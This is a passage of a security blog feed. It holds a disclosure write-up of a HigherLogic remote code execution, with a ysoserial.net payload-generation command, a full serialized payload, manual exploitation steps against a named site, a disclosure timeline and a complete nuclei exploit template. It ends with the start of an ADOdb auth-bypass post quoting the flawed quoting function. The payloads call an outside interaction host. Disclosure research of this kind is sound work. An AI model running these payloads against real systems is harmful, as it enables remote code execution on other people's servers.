&lt;/h3&gt;&lt;p&gt;First we got an &lt;a href="https://github.com/projectdiscovery/interactsh"&gt;interactsh&lt;/a&gt; link for testing. Burp Collaborator would also work but some servers were configured not to ping out to Burp Collaborator.
To generate the payload we used &lt;a href="https://github.com/pwntester/ysoserial.net"&gt;ysoserial.net&lt;/a&gt; Simply run this command to generate the payload:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c &lt;span style="color:#e6db74"&gt;&amp;#34;ping c61u8rqnvisr75g3vfv0cgb6ehyyyyyyn.interactsh.com&amp;#34;&lt;/span&gt; -o raw | base64 -d | gzip - | base64 -w0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
Payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;H4sIAAAAAAAAA81VW2/TMBROltZNshU2BAjGS8QTaFXWy64PQ5o6LtUEmsjEy1Sx1D3LIhJ7s51J5ZlX/gt/jV8wfFp3MMQYFR3CVY+v5/Pn4y/H53bz64JlW5Z1rgvWWOZmtOlEA6kgrwXvQMiUs62VsI6/WtAuMlUI2GJQKBFntWCv6GUp3YXBPv8AbKu3vh6v0tW1xmZrBeobm2XE/WSP8MI2zzKgSiPK8CUwECkNIy4U9CNQh42DA7MuUiJlSS3IJeUiS3tTINLtljSTcpsXTLltnp/EAkTFwJY7eldpORZxP/+O68gvlZyNEW6atIvXgX/PGTfwHCXs/WdU8aZn39OLfZ3HZrcdyCCJFUSaWJylH2Nk+opnfRBeWTstlMzRCNFmY5kGJ5pdQNcaxYY4ZWepFOurSevs6KxOk94aHA+GhYUpUyBiquRxqLclFe3t0LxfQtA/2Bxj6I7nKzmoY96vm7rhOE79eoil8dxzpsRg2Ti8hSNzH+FryHsgOuyI/8J70vWei/fvofFRBNidmCRGqaQGJ+DGUurdsgFRsUhA3RlV+3pq28zc+j70Js7BH8UGm9X+j5i2PWPb9uQBI7OazJcZ4/aiYPSwdaMirf0T8J00ThiXKqUy3BOcgpS1YGoptdslczpsu1Ok7pPqVLM+uaXhFq+OBrmNuTjS6lLePOoRNT3p1zAUMmpxbixX7HjtTOt62IrShMXI279oNf0RJCp63qTKbZEUOTAlbSyW41YNEVx00PWQq4fx8fBU5K42z64+WjA81ZOfZHap+5Tc+3sM/PZ9G9MAxo7c16ZiMr2H8iAPtKle8iEP9dBSh6lWMzBLr+G5qB2aZmwCvxE3vFhskUfanF48VePn4aafo2EU/KH1MBYehsif/QZ2waXd9ggAAA==
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then we visit the target site ( eg. &lt;a href="https://hug.higherlogic.com/home"&gt;https://hug.higherlogic.com/home&lt;/a&gt; ) and change the value of &lt;code&gt;_VSTATE&lt;/code&gt; parameter in the hidden form to your payload and change the type from hidden. Then click on the text box top left corner and hit enter to submit the form.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.sorcery.ie/higherlogic_firefox.png" alt="Screenshot of Firefox"&gt;
Look back at your interactsh session and you will see that a DNS interaction occurred because of the ping command that was sent.
&lt;img src="https://blog.sorcery.ie/higherlogic_interactsh.png" alt="Screenshot of Interactsh"&gt;&lt;/p&gt;
&lt;h3 id="reporting" &gt;Reporting
&lt;/h3&gt;&lt;p&gt;The first thing we did was to submit the issue to &lt;a href="zerodayinitiative.com"&gt;ZDI&lt;/a&gt; in the hope that they would handle the disclosure process and perhaps even pay us a bounty.
Unfortunately ZDI were not interested in our findings.&lt;/p&gt;
&lt;p&gt;Our next step was to try and get in contact with HigherLogic.
We initially emailed on October 12th. No Response.
We sent a second email on October 20th and rang the company on the phone. No response.
On October 27th we sent a third email and rang the phone number again. No response.&lt;/p&gt;
&lt;p&gt;After being ignored several times by HigherLogic we decided to take a different approach. They may ignore us, but will they ignore clients?
We found that 8x8 and IBM were running instances of HigherLogic so we reported to their VDP programs on HackerOne.&lt;/p&gt;
&lt;p&gt;They were able to get in contact with HigherLogic about the problem.
8x8 where very helpful and we asked if they could try to get HigherLogic to respond to us and open a line of communication.
After 8x8 contacted HigherLogic on our behalf we actually got an email from HigherLogic asking for the vulnerability details.
We provided the details in the email and.. nothing, we got no response yet again. (do you see a pattern?)&lt;/p&gt;
&lt;p&gt;Soon after that the 8x8 site and the IBM site received patches. Great! Problem fixed right? Not exactly.
It became clear to us that HigherLogic didn&amp;rsquo;t intend to patch all their clients, instead choosing to leave them unaware of the problem despite having a patch on hand.&lt;/p&gt;
&lt;p&gt;We submitted 2 more bug reports after 8x8 and IBM were patched. Each time the site owner would have to contact HigherLogic and request them to patch it.
Why did they choose to leave clients unaware and only fixed the ones who asked? They were making security optional and knowingly leaving most of their customers vulnerable to RCE. It&amp;rsquo;s especially weird when you consider there doesn&amp;rsquo;t appear to be any self-hosted instances of HigherLogic, it&amp;rsquo;s all managed by them and on their infrastructure.&lt;/p&gt;
&lt;p&gt;On January 4th we made the nuclei template and from our scans we found that there was 1,700 websites managed by HigherLogic that were STILL vulnerable to the RCE! These included some major companies and a lot of American unions.
This did not sit well with us so we sent another email to HigherLogic informing them that in two weeks time we would be contacting all vulnerable customers about it and releasing this blogpost two weeks after that.&lt;/p&gt;
&lt;p&gt;When we rechecked the vulnerable websites on January 18th they were all patched silently without any email back from HigherLogic and presumably without telling anyone about it.&lt;/p&gt;
&lt;p&gt;Looks like Responsible Disclosure works after all&amp;hellip;?&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/09/2021&lt;/td&gt;
&lt;td&gt;Submitted vulnerability to ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08/10/2021&lt;/td&gt;
&lt;td&gt;ZDI rejected submission&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12/10/2021&lt;/td&gt;
&lt;td&gt;Initial email to HigherLogic requesting a security contact to send details to&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20/10/2021&lt;/td&gt;
&lt;td&gt;Another email asking for a response and called their phone number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27/10/2021&lt;/td&gt;
&lt;td&gt;Another email asking for a contact and called their phone again&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04/11/2021&lt;/td&gt;
&lt;td&gt;Submitted &lt;a href="https://hackerone.com/reports/1391576"&gt;VDP Report to 8x8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04/11/2021&lt;/td&gt;
&lt;td&gt;Submitted VDP Report to IBM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08/11/2021&lt;/td&gt;
&lt;td&gt;Receive an email from ITO-Security [at] higherlogic.com asking for the vulnerability details&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09/11/2021&lt;/td&gt;
&lt;td&gt;Send detailed email with vulnerability details to ITO-Security to which we receive no response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10/11/2021&lt;/td&gt;
&lt;td&gt;8x8 site is patched by HigherLogic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11/11/2021&lt;/td&gt;
&lt;td&gt;We ask 8x8 if they can ask HigherLogic about notifying and patching their other customers. 8x8 inform me that HigherLogic did not address these concerns.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11/11/2021&lt;/td&gt;
&lt;td&gt;Email ITO-Security again to ask if they will be fixing it for other customers as they have resolved it in 8x8&amp;rsquo;s case.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16/11/2021&lt;/td&gt;
&lt;td&gt;IBM site is patched by HigherLogic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/11/2021&lt;/td&gt;
&lt;td&gt;Submitted VDP Report to ConnectWise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21/12/2021&lt;/td&gt;
&lt;td&gt;ConnectWise site patched by HigherLogic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04/01/2022&lt;/td&gt;
&lt;td&gt;Sent email to ITO-Security notifying them that we will be publishing this in 30 days and contacting the vulnerable sites in 2 weeks. When we tested on this date there were 1700 websites vulnerable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04/01/2022&lt;/td&gt;
&lt;td&gt;Submitted BugBounty Report to &lt;code&gt;Unnamed Company&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07/01/2022&lt;/td&gt;
&lt;td&gt;Awarded $1250 bounty from &lt;code&gt;Unnamed Company&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18/01/2022&lt;/td&gt;
&lt;td&gt;All the sites appear to be patched, no emails sent.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03/02/2022&lt;/td&gt;
&lt;td&gt;This blog post was released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="nuclei-template" &gt;Nuclei Template
&lt;/h1&gt;&lt;p&gt;In order for our payload to be deserialized the request needs to have a valid &lt;code&gt;__HL-RequestVerificationToken&lt;/code&gt; so the first requests extracts that from the page.
The template uses the interactsh functionality in nuclei to confirm the vulnerability when a DNS request is received to the randomly generated subdomain.
To achieve this it decodes the base64 of the payload, does a string replacement to insert the link then compresses and rencodes it. We also modify a byte before our command in the serialized object. This is the length of the payload and needs to be updated as not all interaction domains are the same length.
This template was made in early January in order to test a larger amount of websites quickly instead of doing it manually which we did for the bug bounty reports (as not many of the websites had bounty programs).&lt;/p&gt;
&lt;p&gt;I won&amp;rsquo;t be submitting this template to the &lt;a href="https://github.com/projectdiscovery/nuclei-templates"&gt;nuclei-templates&lt;/a&gt; repository as HigherLogic Community is on managed hosting and there should no longer be any vulnerable instances.&lt;/p&gt;
&lt;h3 id="the-template" &gt;The Template
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;HigherLogic-RCE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;info&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;HigherLogic-RCE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;author&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Fir3God and meme-lord&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;severity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;critical&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;reference&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;https://blog.sorcery.ie/posts/higherlogic_rce&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;tags&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;oast,rce&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;requests&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;raw&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - |&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; GET /home HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Host: {{Hostname}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - |&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; POST /home HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Host: {{Hostname}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;ScriptManager1_TSM=&amp;amp;StyleSheetManager1_TSSM=&amp;amp;__EVENTTARGET=&amp;amp;__EVENTARGUMENT=&amp;amp;__VSTATE={{url_encode(base64(gzip(replace(base64_decode(&amp;#34;/wEy7hEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAANS9jIHBpbmcgYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhLmludGVyYWN0LnNoBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=&amp;#34;),&amp;#34;5/c ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interact.sh&amp;#34;,html_unescape(&amp;#34;&amp;amp;#&amp;#34;+(len(&amp;#34;{{interactsh-url}}&amp;#34;)+8)+&amp;#34;;&amp;#34;)+&amp;#34;/c ping {{interactsh-url}}&amp;#34;))))}}&amp;amp;__VIEWSTATE=&amp;amp;__HL-RequestVerificationToken={{hl_request_verification}}&amp;amp;ctl00%24SearchControl%24SearchTerm=&amp;amp;ctl00%24MainCopy%24ctl08%24SearchTerm=&amp;amp;ctl00%24MainCopy%24ctl30%24sortByToggle8b8812c3-d1db-4c35-99f7-86c034eb633f=Most+Recent&amp;amp;ctl00%24SearchControl%24hiddenSearchButton=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;redirects&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max-redirects&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;cookie-reuse&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;extractors&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;type&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;regex&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;hl_request_verification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;part&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;body&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;internal&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;group&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;regex&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;input\sname=&amp;#34;__HL-RequestVerificationToken&amp;#34;\stype=&amp;#34;hidden&amp;#34;\svalue=&amp;#34;([a-zA-Z0-9-_/]*)&amp;#34;\s/&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;matchers&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;type&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;word&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;part&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;interactsh_protocol&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;words&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;dns&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="free-meme" &gt;Free Meme
&lt;/h1&gt;&lt;p&gt;&lt;img src="https://blog.sorcery.ie/higherlogic_meme.png" alt="meme"&gt;&lt;/p&gt;</description></item><item><title>Auth Bypass in ADOdb CVE-2021-3850</title><link>/posts/adodb_auth_bypass/</link><pubDate>Wed, 26 Jan 2022 00:00:00 +0000</pubDate><guid>/posts/adodb_auth_bypass/</guid><description>&lt;p&gt;I first decided to look at phpPgAdmin after reading &lt;a href="https://0xjin.medium.com/bug-bounty-my-remote-code-execution-da7bbd00925a"&gt;this blog post&lt;/a&gt; that someone wrote up about abusing it to get a bug bounty.
After reading through the source I discovered a bug in the library it was using to interact with Postgres.&lt;/p&gt;
&lt;p&gt;When a user logs in the username and password is filtered by this function:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;adodb_addslashes&lt;/span&gt;($s)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $len &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strlen&lt;/span&gt;($s);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($len &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#39;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;strncmp&lt;/span&gt;($s,&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;substr&lt;/span&gt;($s,$len&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; $s; &lt;span style="color:#75715e"&gt;// already quoted
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;addslashes&lt;/span&gt;($s)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
After it passes that filtering the username and password are entered into the Postgres connection string.
This filtering however can be bypassed as it doesnt modify input if it starts and ends with a quote.
An attacker can abuse this to inject values into the connection string.
On phpPgAdmin for example you could login with the username&lt;/p&gt;
